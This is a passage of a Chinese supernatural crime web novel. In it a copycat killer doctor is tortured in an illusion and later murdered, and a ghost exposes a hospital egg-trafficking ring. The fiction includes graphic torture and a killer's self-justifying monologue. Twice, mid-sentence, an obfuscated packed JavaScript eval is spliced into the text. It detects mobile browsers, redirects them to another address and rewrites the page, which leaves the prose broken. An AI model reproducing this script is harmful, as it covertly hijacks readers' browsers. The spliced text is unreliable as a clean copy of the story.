直到完全确认这一切,他才终于开始精心策划,该如何将李晴从这个世界上彻底、干净地抹去。决不能像周茹这个失败品一样这么快就被人发现了。 上一次的他,太粗糙,太急躁了。 而这一次……他要慢慢来。 看着她的眼睛一点点被恐惧填满,听着她的声音从挣扎到无声……这种全然掌控的感觉,实在太美好了…… 他要慢慢地、仔细地,享用这份属于自己的时间。 更何况,现在警察查得严。如果太快就把“玩具”弄坏,下一次……得等到什么时候? 用浸过药液的毛巾捂住少女的口鼻,确认她彻底昏迷后,林修远将她带进了早已租好的工作室。 将人牢牢捆在手术台上,他俯下身,指腹粗糙地划过少女苍白的脸颊,满脸沉醉地笑道。 ……得省着点玩。 准备就绪后,他兴致勃勃地拿起手术刀,然而就在他俯身靠近的刹那,双目猝不及防地对上了一双眼睛—— 那双眼睛异常清醒,瞳孔深处仿佛漾开一片不见底的血色深渊。 其中没有丝毫迷茫或恐惧,反而像是早已看穿他所有的意图…… “你……”他喉咙一紧,话音未落,整个空间竟在他眼前扭曲、摇晃起来! 强烈的眩晕骤然袭来,他甚至来不及挣扎,意识便彻底沉入黑暗。 不知过了多久,林修远在一片刺骨的冰凉中醒来。 他发现自己正以极其屈辱的姿态被死死禁锢在手术台上,而原本被他绑架的少女,不知何时已悄然立在他面前,手中漫不经心把玩着的,正是他不久前握过的那柄手术刀。 “李小姐,请你冷静。我们之间……或许有什么误会。” 她到底做了什么?! 最初的惊骇被强行压下,林修远用着哄孩子的声音温柔道:“刚才看你突然晕倒,可能是低血糖,就把你抱到手术台上做初步检查。” “可能是我最近太累了,刚把你放上去,自己就脱力失去了意识……能不能先帮我解开?你这样绑着一位想帮你的医生,恐怕不太合适。” 他故作坦然地迎向她的目光,试图从那双血色瞳仁后捕捉到一丝动摇、困惑或恐惧——任何能让他夺回主动权的缝隙。 却见少女歪了歪头,朝他诡异地扬起嘴角。 “我也想帮林医生,检查检查呢。” 手术刀在她指尖轻巧地翻转着,就在林修远觉得区区十八岁的小姑娘绝不敢真的动手,甚至试图挤出更诚恳的表情时—— 她动了。 毫无预兆,毫不迟疑。 刀尖倏地向下,精准而残忍地刺穿了他被缚的右手掌心! “啊——!” 剧痛轰然炸开,林修远所有的从容在这一刻土崩瓦解。他惨叫出声,难以置信地瞪大双眼,看着鲜血迅速浸透手术台。 而她终于俯身逼近,清丽的脸在昏光里美得令人胆寒。 “满意我的检查吗,林医生?” “你疯了吗!”林修远疼得嗷嗷直叫,声音因剧痛而扭曲变形,再也维持不住温文假面。 “你到底想干什么!快放开我!”他拼命挣扎,束缚带却越缠越紧。 薛宓的血色眼眸中依旧波澜不惊,仿佛只是在观察一只落网的虫。 “我想干什么?”她嘴角弯起一抹笑,“我在学习啊,林医生。你不是就想对我做这些事情吗?” 话音未落,她手腕猛地一拧! 刀尖向下压去,更深地碾进他掌骨间的血肉! “啊啊啊——!”林修远再次发出一声不似人声的惨嚎,全身失控地抽搐起来。 “虐猫的时候……”薛宓偏着头,像在认真回忆那些伤痕细节,“你也是这么下刀的吗?慢慢地,一点一点地,听着它们哀嚎,感受它们在手下发抖?” 她的声音依旧轻缓,却如毒蛇缠绕上他的神经。 “为什么要杀周茹?” 话锋陡然一转,问出的问题让林修远瞬间僵住,连疼痛都仿佛遗忘。 她怎么会知道?她怎么可能知道! 见他不答,染血的手术刀缓缓上移。冰凉触感如死神抚摸,在他颤抖的手臂上划开一道细长血痕。 “说实话,否则。” “是我……是我杀的!” 极致的恐惧终于压垮理智,林修远嘶吼着承认,声音因剧痛与崩溃而尖利变形。 然而短暂崩溃后,一种奇异的兴奋竟取代了部分恐惧。他猛喘几口气,汗与泪流进嘴角,却忽然低低笑了起来,笑声干涩而骇人。 “呵……呵呵……你想知道?好,我告诉你。” 他的语调陡然一变,不再是求饶哀鸣,反而浸满汹涌的疯狂。 “她们……需要被矫正。周茹,还有之前那些小动物,它们太吵闹,太不完美,充满了低等的恐惧和混乱。我只是在帮它们……变得安静、有序。这是一种净化。” 他抬起头,眼神涣散却闪着病态的光,像在欣赏某件遥远艺术品:“看着她的眼里的光一点一点散开。从挣扎,到困惑,再到彻底的空白……那才是最完美的作品。” 他自恋地说着,望着薛宓时,脸上浮现出一种渴望认同的表情:“我在清除那些脆弱、吵闹、不完美的生命,我在让它们变得……永恒而安静。这难道不是……一种美吗?” 宛若疯狂艺术家向唯一观众展示毕生杰作。他渴望从薛宓脸上捕捉震惊、恐惧,哪怕一丝理解或共鸣—— 毕竟能眼都不眨对他做出这些的她,又怎会是正常人? 然而,回应他的—— 是刀光骤然一闪! “啊——!!!” 伴随着皮肉撕裂的闷响和又一声凄厉到变调的惨叫,他的右手齐腕而断,重重砸落在地。 “不……我的手……我的……手……” 他的尖叫瞬间走了调,那声音里率先涌出的并非纯粹的剧痛,而是一种所有物被彻底毁坏的暴怒与惊愕。 作为医生,这双手是他身份、傲慢与优越感的具象化身,是将扭曲内心转化为“艺术”的完美工具。 可如今,这双他精心保养、执行过无数精密手术的手,竟被斩断了! 这冲击远比□□痛苦更令他崩溃。 而薛宓没再给他任何乞求或反应的机会。 锋利刀尖精准挑破他脚踝,割断筋络。 那熟悉的、他曾从容施加于无数生命的绝望与痛苦,就这样以千百倍的强度,清晰地反馈于他自己的神经。 剧烈的疼痛瞬间吞噬了他所有感知,直到—— “砰!” 工作室的门被猛地从外面撞开,巨大的声响将林修远从无尽的痛苦幻象中惊醒。 他如脱水活鱼般弹动一下,随即嘶吼起来:“我的手!我的脚!她砍了我的手!!” 他被捆在手术台上疯狂挣扎,然而在冲进来的贺黎筠眼中,他双手双脚完好无损,不见伤口,甚至连一丝血迹都无。唯有他狰狞的表情与癫狂的状态,证明他正陷于某种极致恐惧。 “警察!林修远,你被逮捕了!” “手!我的手啊!你看不见吗?!血!流了一地的血!”林修远根本听不进去,仍在疯狂嚎叫,直到目光下意识瞥向自己手腕—— 挣扎的动作猛然僵住。 嚎叫戛然而止。 他瞪大了眼睛,难以置信地、一遍又一遍地看着自己那双完好无缺、甚至还能微微动弹的手。极致的震惊甚至暂时压过了疯狂的恐惧,让他陷入了短暂的、茫然的死寂。 这时,收到贺黎筠通知的后续队员也迅速赶到,开始对工作室进行勘察取证。 将林修远押回刑警支队审问后,邱东奇看着状貌诡异、胡言乱语的林修远,皱眉问:“黎筠,你赶到现场时,工作室里还有没有其他人?审讯时他一直胡言乱语,反复说一个叫‘李晴’的女人袭击了他。” “我破门进去的时候,里面只有他一个人。”贺黎筠熟练地交出自己肩上的执法记录仪,“从破门到队员赶到,全过程执法仪都清晰记录下来了。他自己把自己捆在手术台上嘶吼,坚持说一个根本不存在的女人砍了他的手脚。” 邱东奇盯着记录仪屏幕上林修远疯狂却无伤的模样,沉吟道:“产生这么强烈的幻觉?会不会是吸食毒品了?” “不排除这种可能,”贺黎筠接过话,“但血检和尿检都正常的话,更可能是企图假装精神病来脱罪。” 和队长汇报完毕后,贺黎筠抽空离开了刑警支队。 他在一家披萨店找到了已变回孩童模样、正安静吃着披萨的薛宓,不禁叹了口气,在她对面坐下,语气复杂地问:“为什么又要独自行动?” “因为你们查得太慢了。”薛宓头也不抬,语气平淡,“我这不是帮你们提提速么。” 当时,追到诊所得知林修远不在后,贺黎筠立刻协调交通队调取监控追踪车辆去向。就这样争分夺秒下,他却收到了薛宓主动发来的一个定位。 附言说林修远的工作室是周茹遇害的第一现场,让他速来。 “你在幻境里……砍了他的手脚?”贺黎筠犹豫了一下,还是问出了口。 “我只是把他对花卷做的事,原样还给他而已。”薛宓咬了一口披萨,抬眼看他,目光幽幽,“所谓的死刑,太快了……快得几乎像是一种慈悲。一颗子弹或者一剂针药,甚至来不及感受痛苦,一切就结束了。” “可那些死在他手里的人和动物,都曾真切地体会过漫长的恐惧和绝望。凭什么他能轻易逃脱这种滋味?”她顿了顿,语气里听不出情绪,却字字沉重,“与其让他轻松赴死,不如让他好好体验受害者曾经的绝望。再说,如果我真想杀他,就不会发定位给你,让你亲手逮捕他了。” 她话音一转:“现在我总算明白,为什么你们连破一个连环杀人案都这么艰难。若不是我,你们什么时候才会怀疑到林修远?就算怀疑了,没有证据,又要等到何时才能抓人?就在你们按部就班调查的时候,他都敢再犯一案。等你们终于破案,还不知道要搭上几条人命。” 贺黎筠被怼得哑口无言。 “你知道,林修远杀人的理由是什么吗?”沉默片刻,薛宓忽然问。 “他说是净化。只是因为周茹和那些猫猫狗狗太吵了……” “可真正该被净化的,难道不是他这种渣滓吗?” “因为答应过你,所以我才没有杀他。”薛宓认真地说,“反正他杀人偿命,最终也是死刑,这种祸害早点清除不好吗?如果你改变主意……我愿意帮你处理掉这些人渣哦。” 贺黎筠的呼吸几不可察地滞了一下。 身为警察,他理应斩钉截铁地驳斥这种“以暴制暴”的私刑正义,捍卫法律程序的纯粹性。 但他没有。 只因在心底最幽暗冰冷的角落,他不得不承认,在听见林修远在幻境中亲身尝遍他曾施加于受害者的恐惧时,自己心头掠过的并非全然愤怒,反而渗进了一丝隐秘到连他自己都不愿承认的快意。 这种情绪的泄漏让他感到心惊,仿佛自己的某部分底线正在被薛宓悄然腐蚀、同化。 “薛宓。” 他终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776577|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低声唤她:“你可以用幻境贯彻以暴制暴,让他们自食其果。但我们不行。法律和秩序,容不得这份捷径。” “一旦为私刑撕开第一道裂口,所谓的标准与边界便会变得极其模糊。今天你可以因为对方是杀人犯而动用私刑,明天别人也可以因为你太吵而伤害你。暴力会自我复制,不断升级,最终无人能幸免。” 他顿了顿,又补充道:“你曾说,你能看穿人心中的恶念。但前提是,对方自己也清楚那是‘恶’。如果一个人真心相信自己是在替天行道、以杀止杀呢?如果他发自内心地认为自己的暴力是‘正义’的呢?” “正义的目的从来不止于惩罚。它更要守护的,是人性中残存的那点善。而滥用暴力……最先摧毁的,恰恰就是我们自己心中的那份善。” 这段话其实并非是对薛宓的说教,它更像是贺黎筠对自己的一种自我警惕。 若不束缚住薛宓的能力,他更害怕自己有朝一日也会迷失在这场以正义之名行凶的快感中,踏过那不容越界的防线。 几小时后,检测结果证实,林修远体内并无任何毒品残留。 而根据他混乱的供述中所提到的“李晴”。 那个声称因丢失爱猫前来诊所求助、又被他跟踪一周的女人,经全面核查,根本不存在。诊所监控显示他所说的日期里并无此人到访,沿途道路监控中也从未捕捉到符合该特征的女性身影。 反而,在林修远的工作室里,勘验人员发现了大量喷溅状血迹。尤其是手术台周边,经DNA比对确认此处正是周茹遇害的第一现场。 “不知是真疯还是装疯。”一想到案件又将陷入漫长而不确定的精神鉴定程序,邱东奇揉着太阳穴长叹,“每次都要等精神鉴定结果才能推进程序,真该修改法律,杜绝这些人钻空子。” 与此同时,上级迫切希望将此案定性为连环杀人案告破。 毕竟这桩悬案让青江市人心惶惶了十数年,若能将林修远认定为真凶,不仅能平息舆论风暴,更能了结这桩压在几任刑警心头的大案。 但贺黎筠坚决反对。 他始终坚持自己的判断——林修远绝非十六年前的真凶,仅仅是一个手段拙劣的模仿者。 在他的坚持下,刑警支队也硬生生扛住了来自各方的压力,十分果决地拒绝上级要求并案的指令。 但后面发生了一件,让整个刑警支队都觉得颜面扫地的重大事故。 被送往医院进行司法鉴定的林修远,竟在严密看护下,成功脱逃了! 消息如同野火般在社交媒体上蔓延,舆情哗然。在一片混乱与指责声中,薛宓看完报道,只轻轻嗤笑一声。 “你们警察,可真是废物。人,迟迟抓不到。好不容易到手了,还让人溜了……”她顿了顿,声音里淬着明晃晃的讥诮,“……嗤。” 接到电话的贺黎筠,耳根瞬间烧得通红:“林修远不是自己逃脱的,是有人在帮他。他,还有共犯!” 同一时间,一间只亮着一盏昏黄孤灯的房间里,林修远惊疑不定地看着墙角隐匿在阴影里的男人。 方才医院里那场惊险逃亡还让他心跳如鼓。 刺耳的火警毫无预兆地响起,走廊瞬间充斥奔走的脚步声和呼喊。一个穿着制服的人冲进来,焦急地声称病区起火,催看守他的警察赶紧将他铐在床边的手铐解开。 人群推搡着往下疏散,他趁乱脱身,可双手被铐目标太过显眼,他不知道自己该怎么逃出医院时,竟不知从哪冒出来个人,往他怀里塞了套护工服,推了他一把,示意他跟进一条他从没注意过的后勤通道。 他还来不及想清楚,后颈猛地一痛,像是被什么扎了一下,随后就什么都不知道了。 再醒来,就是这里。 “你……你是谁?”林修远声音干涩地问,“为什么要帮我?” 那人立在灯光边缘,面具下的面容难以辨认,唯有声音带着一丝玩味的笑意:“你不是对我很了解吗?甚至……模仿我。” 他向前踱了一步,唇边似有若无地牵起,“真没用。只杀了一个,就被逮住了。” 林修远瞳孔骤缩,一个恐怖的猜测击中了他:“你……你就是青江市那个……” “那个连环杀手?”男人轻笑地替他说完,语气平淡得像在谈论天气。 作为医生,林修远早已习惯在手术台上主宰生命。 但那种被规则束缚的掌控,根本无法满足他内心深处病态的黑洞。 他渴望更原始、更绝对的控制。他想要亲眼看见生命因他战栗、痛苦、最终熄灭……只有那样,他才能尝到扮演上帝的快感。 而这一切扭曲欲望的启蒙,正是来自眼前这个男人犯下的案件和那些流出的现场照片。 那些受害者被精心摆出的姿态,令他突然理解了同类的语言——这不是屠杀,而是一场艺术创作,一种对污浊世间的净化。 “我懂你!”林修远几乎是急切地低喊,仿佛抓住了知音,“你杀人是一种净化,对不对?我们……我们可以联手!” 男人极轻地嗤笑一声,毫不掩饰其中的轻蔑。 “我不收废物。” 他顿了顿,似乎觉得这模仿者既可悲又可笑,难得施舍半句解释:“不过你说对了一件事……我确实在净化这个世界。” 一周后。 一名打扫街道的环卫工人在垃圾桶里,发现了林修远早已僵硬的尸体。 他双手被一根鲜亮的红绳缚在身前,十指交叠,摆出虔诚的祈祷姿势——与十数年前那桩悬而未决的连环杀人案中的死者姿态,分毫不差。 但这不再是对谁的模仿。 这是真正的凶手,用最冰冷、最嚣张的方式,向警方宣告他的存在。 他通过处决这个拙劣的模仿者,清晰地传递出两个信息: 他,才是唯一的正品。 而他,从未离开。 41.住院 真凶在警方眼皮底下公然行凶的嚣张气焰,像一记火辣的耳光,掴得整个公安局既震怒又蒙羞。 贺黎筠周身的气压低得骇人,薛宓几乎能触摸到他身上那凝成实质的焦灼。他没日没夜地筛查、布控,将医院当日的监控与可疑人员翻了个底朝天。 薛宓默然跟在他身后,一次次审视被带来的问询者。然而,无人身上萦绕那象征极致恶念的黑雾。 唯一的异常是,当日那个率先冲进来高喊起火的保安,离奇失踪了。 真凶时隔十六年重现,贺黎筠比谁都想将那个恶魔绳之以法。 然而,三个月过去。 卷宗堆积如山,监控看到双眼刺痛,排查名单上的名字逐个提起又无奈放下。 那个幽灵般的真凶,却仿佛从未出现过般,再次彻底融入人海,不留一丝痕迹。 这场持续了九十多个日夜的追捕,最终,一无所获。 积压的卷宗被无奈地归入档案,紧绷的神经却难以立刻松弛。就在这种挫败与疲惫交织的沉闷气氛中,时间悄然滑向了岁末。 春节前夕,正当人们开始张罗年货、期盼团圆之时,崔芳华却突然感到身体严重不适腰痛得几乎无法站立。 贺黎筠特意请了一天假,带她前往三甲医院就诊。薛宓待在家里也无所事事,便安静地跟去,在一旁陪着。 等待检查结果的间隙,她小心地搀扶着腰痛的崔芳华去卫生间,却见隔间门板的内侧,一张粗糙打印的小广告突兀地贴着。 【爱心捐一卵,回馈丰厚 无痛安全,补偿5-10万 详情咨询:13XXXXXXXXX】 纸张最下方,还印着一个看不太清的、似乎是穿着白大褂的医生微笑的剪影。 薛宓目光扫过,并没完全理解上面的含义,只当是寻常的牛皮癣广告,却见身旁的崔芳华眉头骤然拧紧,伸手“刺啦”一声,利落地将广告纸撕了下来。 “宓宓,记住,”她语气少见地流露出厌烦与严厉,“以后但凡看到这种广告,见一张撕一张。这哪是什么爱心!都是祸害小姑娘的东西!” 薛宓懵懵地点了点头,小心地扶着崔芳华回到候诊区。 刚一坐下,就见崔芳华难掩怒气地将小广告交给贺黎筠,压低声音道:“真是想不到!这么大一家三甲医院,厕所隔间里居然明目张胆贴着卖卵的小广告!” 因为太过气愤,崔芳华一时间竟腰也不痛了。但拿着CT报告给医生时,医生严肃地指出她的腰椎间盘突出,已压迫到了神经。问她是接受保守治疗,还是考虑手术。 崔芳华闻言暗自庆幸,挂的普通门诊竟幸运地遇上了主任医师亲自坐诊,能让主任医师做自己的主治医生,自然是求之不得,她毫不犹豫地选择了手术治疗。 就在开住院单时,一股异常冰冷的气息毫无征兆地穿透了诊室的门板,丝丝缕缕地渗了进来。 那不是空调的冷风,而是一种深入骨髓的阴寒,带着浓烈的怨愤与不甘。 薛宓下意识地循着那刺骨的寒意望去,只见一道格外浓稠、几乎化为实质的怨气盘踞在门外不远处。 那是一个由年轻男性残魂化成的厉鬼,他的胸膛处有一个巨大的、虚无的窟窿,边缘狰狞,仿佛被什么极其凶残的东西硬生生啃噬掉了一大块灵魂。 即便如此残缺,那残魂仍执拗地徘徊不去,一遍又一遍地、无声却疯狂地嘶吼着某个名字。 ——陈弘毅。 薛宓一怔。 这不就是给崔芳华看病的这个骨科医生的名字吗? 医院里经常徘徊着很多“东西”,可这家医院却异常的“干净”。 薛宓原本还觉得有些奇怪,如今瞧见这只残缺不全的厉鬼,便猜测定是他吞噬了其他弱小的魂灵才变得如此凶戾。 按理说,这般厉害的厉鬼净化起来应当极为艰难,但出乎薛宓意料,整个过程竟异常顺利。 那厉鬼虽然怨气深重,魂体深处却仍存有一丝极微弱的清明,仿佛一直在等待有人能听见它的呼喊。 当怨气被涤净,灵魂恢复澄澈,显露出的竟是一个痛哭流涕的年轻男鬼。他颤抖着说出了自己的名字—— 孟怀谦。 不是薛宓以为的医患纠纷,这个名叫孟怀谦的怨灵,年仅二十七岁,生前曾是这家三甲医院的一名实习医生。 他出身普通家庭,性格温和,勤奋努力,怀抱着治病救人的纯粹理想踏入医学领域,本该拥有光明的前途。 然而,半年前的一场变故,彻底粉碎了他的人生。 那日,一名72岁的老妇人,因摔倒致右股骨粗隆间骨折入院。她患有高血压,体型偏胖,术前检查显示血液粘稠度偏高,但无明确的抗凝禁忌。 像这样的老年患者,术后极容易发生深静脉血栓及肺栓塞,必须立即启动规范的物理和药物预防措施。 然而,他的导师陈弘毅却发话,因病人血压偏高,抗凝药先不用,以物理预防为主,观察再看。 这一观察导致,术后第48小时,患者突然剧烈胸痛、呼吸困难、血氧饱和度急剧下降,迅速陷入昏迷。虽经全力抢救,但最终仍因大面积肺栓塞死亡。 而令孟怀谦心寒的是,他的导师陈弘毅第一时间篡改了术后医嘱,坚称自己明确下达了“立即使用抗凝药”的医嘱,是实习医生在抄录或执行医嘱时疏忽遗漏,导致患者术后未能接受任何药物抗凝治疗。 他甚至公开指责他实习生经验不足,未能及时识别肺栓塞的前兆,错过最佳的抢救时机。 但术后36小时,当患者开始出现小腿胀痛的症状时,他明明第一时间提醒了陈弘毅!是陈弘毅急着下班回家没有重视才导致了这场悲剧! 可医院内部的听证会上,比起他这个紧张失措的实习生,医院管理层更愿意相信陈弘毅这个主任医师。 甚至听证会后,陈弘毅还私下劝导他:“你还年轻,扛下这件事,医院会低调处理,不会影响你将来的职业生涯。但如果闹大了,别说这家医院,整个医疗圈都不会再有你的容身之地。” 软弱之下,他一度相信了他的话。 然而,他等来的,不是内部的宽容处理,而是成了导致病人死亡的直接责任人,被医院停职、劝退,被受害家属辱骂,被同事们排挤…… 巨大的冤屈与不甘,促使他在停职期间暗中展开调查,试图搜集证据举报陈弘毅,为自己讨回清白。 然而,仅仅一个月后,他就被自杀了——从租房坠落,当场身亡。遗书称他“因医疗事故内心负罪,连续一个多月无法入睡,最终不堪压力选择结束生命”。 “我不是自杀的——是陈弘毅杀了我!” 薛宓就见孟怀谦的灵体剧烈波动,再度激动地说:“那天我跟踪陈弘毅,发现他下班后没有直接回家,而是悄悄走进了医院旁边一栋不起眼的三层红瓦自建房。那根本不是什么民居,而是一家地下代一孕机构!” “他们打着‘爱心捐一卵、高额补偿’的幌子,专门诱骗那些经济困难的年轻女性!我暗中收集了一切证据,写好了举报信……可就在提交的第二天,几个伪装成保安的人突然闯进我的住处,把我从阳台直接推了下去……一定是陈弘毅发现了举报信,派人把我杀了!” 说到这里,他周身的气息更加冰冷:“最可恨的是,他居然还敢出现在我的葬礼上,在我悲痛欲绝的父母面前装出一副痛心惋惜的样子!就是这股强烈的怨恨,让我残留的意识始终跟着他,一路回到了医院……” 薛宓忽然打断他,指向他胸口那可怖的窟窿:“那这个伤口是怎么回事?医院里其他游荡的鬼魂……是你吞噬的吗?” 孟怀谦茫然地摇了摇头,魂体微微黯淡:“我刚来的时候,医院里确实还有其他亡魂……但我一心只想报复陈弘毅,根本没有留意它们。后来不知发生了什么,等我再度恢复意识……就已经变成现在这副模样了……” 怨气过重的确会神智昏乱、记忆残缺,薛宓没有深究,而是从孟怀谦口中,终于知道崔芳华刚才对那张小广告那么深恶痛绝的原因。 她皱着眉又问出了另一个问题:“你说你已经提交了医院内部的举报信,可为什么医院至今毫无动静?陈弘毅依然安稳地坐诊,女性厕所里仍然贴满了那种卖卵广告。” 孟怀谦结结巴巴道:“也、也许……举报信根本没传出去……被陈弘毅他们中途截下了……” “仅仅因为一封举报信,就不惜杀人灭口?”薛宓总觉得其中还有什么更深的原因,但眼下这不是她该纠结的重点。 她定下心神,看向那破碎而执着的灵魂,出声安慰道:“放心吧,我认识刑警,一定替你讨回公道,还你清白。这期间,你要听从我行动。” “谢谢……谢谢你!”孟怀谦激动地说着,可话音未落,就见眼前这个气场强大、仿佛能为他主持公道的少女,周身光芒一闪,身形竟急剧缩小…… 眨眼之间,站在原地的变成了一个看上去只有十来岁、脸颊还带着点婴儿肥的小女孩。 孟怀谦感恩的话瞬间卡在喉间,整个魂体都呆滞了。 带着已被净化的男鬼,薛宓返回了住院部。忙前忙后办完手续的贺黎筠瞧见她才出现,皱着眉问:“怎么离开这么久?遇到什么事了?” “净化了一个怨灵。”薛宓将孟怀谦的遭遇原原本本地道出,“就是刚才你妈妈给你的那张小广告,那上面的代一孕机构就在医院旁边那栋三层红瓦自建房里。” 贺黎筠闻言一怔,略显惊讶地看她:“你知道什么是代一孕?” 薛宓脸上没什么表情,只是认真地点了下头:“虽然百度了一下也不是特别明白……但既然会对女孩子造成生命危险,那总归是坏东西。” 贺黎筠神色凝重地点了点头:“这件事我会暗中调查。” 他话音未落,就见薛宓微微蹙眉,若有所思道:“孟怀谦一口咬定是陈弘毅派人杀了他,但奇怪的是……我在陈弘毅身上只看到了贪财、自私自利的浊气,并没有杀人者那种狰狞的黑色恶念。按理说,他若真有主动杀人隐瞒罪行的恶念,不该是这般气息。” 她抬起眼,目光清亮却带着困惑:“我感觉里面可能另有隐情。但孟怀谦说,他在医院里只得罪过陈弘毅。” “孟怀谦的举报信石沉大海,院方毫无作为这点也十分可疑。或许,截流举报信的另有其人。这个人很可能与陈弘毅同流合污,甚至更深地卷入非法代一孕之中,所以帮助陈弘毅解决掉了孟怀谦。” 他就见薛宓蠢蠢欲动道:“我去吓一吓陈弘毅,让他交代出同伙!” “别做的太过火……”贺黎筠无奈道。 午夜的值班室被沉寂笼罩,陈弘毅正陷在椅背浅眠。就在他昏昏欲睡时,头顶的灯管突然剧烈地闪烁起来。 滋滋的电流声诡异地响起,他还未反应过来,一股刺骨的阴风猛地灌入室内,只见明灭不定的光影中,一个半透明、胸腔破开一个大洞的身影缓缓在他眼前凝聚成形。 他双眼流淌着血泪,发出凄厉的哀嚎:“陈主任……为什么要杀我?!为什么!” 陈弘毅瞬间吓得魂飞魄散,手脚并用地躲到椅子后面:“小、小孟?!不……不是我!你是自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789237|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……自己跳楼的啊……” “我不是自己跳楼的!”孟怀谦的鬼魂发出震耳欲聋的咆哮,胸腔的空洞都仿佛在跟着共振,“是有人伪装成保安闯进我家,伪造了自杀现场!真的不是你派人干的吗?!” “我真的不知道!”陈弘毅吓得几乎瘫软,“我一直以为……以为你是内心愧疚才跳楼的!我还、我还内疚过是不是我把责任都推到你的头上害你想不开……我从来没想过要你死啊!” 躲在暗处的薛宓微微一怔。陈弘毅声此刻爆发出的恐惧和辩解不像作假,那是一种源于认知被彻底颠覆的、最原始的惊骇。他似乎真的坚信孟怀谦是自杀的,甚至对此还怀有一丝隐秘的不安。 “正因为枉死,我才化作厉鬼……此仇不报,永不超生!定要那害我之人,血债血偿!” “小孟……是我错了……我不该贪那点钱,我不该把你推出去顶罪……是我因为太困忽略了病人,没有做出正确的医嘱……我去自首,我去帮你平反!求求你……饶过我吧……”陈弘毅哭得涕泪交加,语无伦次地哀求。 薛宓见状,在暗处递了个眼神,孟怀谦立即会意,逼问道:“我死前写了一封举报信,揭发你涉嫌非法代一孕!不是你,也必是与你有勾结之人!说!除了你,还有谁?!” 他声音陡然狰狞:“再不交代……我现在就取你狗命!” 前段时间,取一卵手术突然暂停,原来是因为有举报! 陈弘毅吓得几乎失禁,慌忙喊道:“有、一定还有别人!可我们都不知道彼此身份……他们只派单、打钱……我真的只想要点外快啊……我女儿快要结婚了,我只是想给她多攒点嫁妆……” “外快?”孟怀谦厉声喝道,震得灯光又是一暗,“你的女儿是女儿,其他人的女儿就不是人了吗?你女儿的幸福,就要用无数陌生女孩的健康和性命来换吗?!” 陈弘毅再也说不出话,只能伏在地上绝望痛哭。 孟怀谦强压怒意,冷冷开口:“好,我暂且留你一条命。现在,你去给我查——查清医院里还有谁参与其中!只要能把害死我的人绳之以法,我就饶你不死!但记住,从今夜起我会日夜跟着你。若敢耍花样……我定会让你比死更痛苦!” 陈弘毅如蒙大赦,连滚带爬地磕头谢恩。那个昔日在他面前高高在上、耀武扬威的导师,如今为了苟活,就这样卑微得如同蝼蚁。 离开值班室后,孟怀谦的魂体微微缓和,向薛宓郑重道谢。 如果不是薛宓相助,他根本无力显形与陈弘毅对峙,更不会知晓,真正的凶手,竟另有其人! 而他们也早有约法三章。现形之后他绝不可主动伤人,所以孟怀谦方才那般骇人,其实也只能过过嘴瘾,根本无法真正索命。 像陈弘毅这种小虾米,薛宓不屑于自己亲自出手审判,只是让孟怀谦稍稍现身,就把他吓得魂飞魄散、丑态百出。 她将逼问出的情报尽数告知贺黎筠后,对方却摇了摇头:“现在动手,最多只能逮住几条小鱼小虾。要想将他们一网打尽,我们还需要更扎实的证据链。” “我去!”薛宓立刻自告奋勇,“派女警去太危险了,不如让我去。上次在迷夜我录的证据够用吧?这次也交给我吧!” 贺黎筠沉吟片刻,最终点头同意。 然而,代一孕机构并非想进就能进。第二天一早,薛宓按照小广告上的号码拨通电话,却被告知机构近期正在内部装修整改,暂不接待新客,让她等待后续通知。 而经过前一晚的惊吓,陈弘毅称病请假,推掉了之后几天所有的手术安排。崔芳华也因此更换了一位主治医生。 手术当天,薛宓陪着贺黎筠守在手术室外,能清晰地感受到他周身弥漫的紧张与担忧。她不禁心想,人类真是脆弱,身上小小的毛病,一场看似寻常的手术,却也性命攸关。 虽然这样感慨着,可连她自己都未曾察觉,等待的过程中,她心中也悄然生出一丝难以言喻的焦虑。 这并非什么复杂的大手术,预计时间也不长。可就连陈弘毅那样的主任医师都有疏忽遗漏之处,万一崔芳华也这么倒霉,遇到一个不负责任的医生呢…… 所以,哪怕崔芳华平安地从手术室中被推出,薛宓仍放心不下,忧心忡忡地守在病房里。 傍晚,就在薛宓跟贺黎筠换班,出门买晚餐时,她瞥见VIP住院部门口簇拥着一大群年轻的小姑娘。 然而人群中央被围得水泄不通的,并非是什么明星,而是她曾经在微博上刷到过的、被网友和贺黎筠拉郎组CP的魏明璟。 也是瞧见VIP住院部严防死守后,她才知道,魏明俊去世后,魏延璋因悲伤过度引发急性心肌梗死,也住进了这里,近日似乎即将接受手术。 这般众星捧月的人,薛宓免不了要多看几眼。然而,周围的人或多或少都会缠绕着雾气,就像他身旁的那位董事长夫人,身上的恶念浓得几乎几乎要被怨气吞噬。 但魏明璟的身上,却没有。 没有怨恨,没有贪婪。而就是因为没有一丝寻常人该有的情绪波动,反而让薛宓感到一种前所未有的诡异。 根据她的经验,任何人都有细微的负面情绪,哪怕是最普通的善良之辈,都难免有细微的私心、忧虑或波动。 而魏明璟的内心“干净”得像一块精心擦拭过的玻璃,过于完美,反而显得不真实。 毕竟自己同父异母的弟弟刚刚离世,父亲重病住院即将手术,身为其兄长和儿子,他的内心怎么可能如此平静,甚至……一片空白? 这种极致纯粹的“干净”,本身就是一种巨大的不正常…… 42.交锋 春节期间,薛宓终于等到代孕机构的电话。 那边很谨慎,没透露地址,只让她去城郊一个公交站等着。一小时后,一辆没挂牌的黑色商务车准时出现。 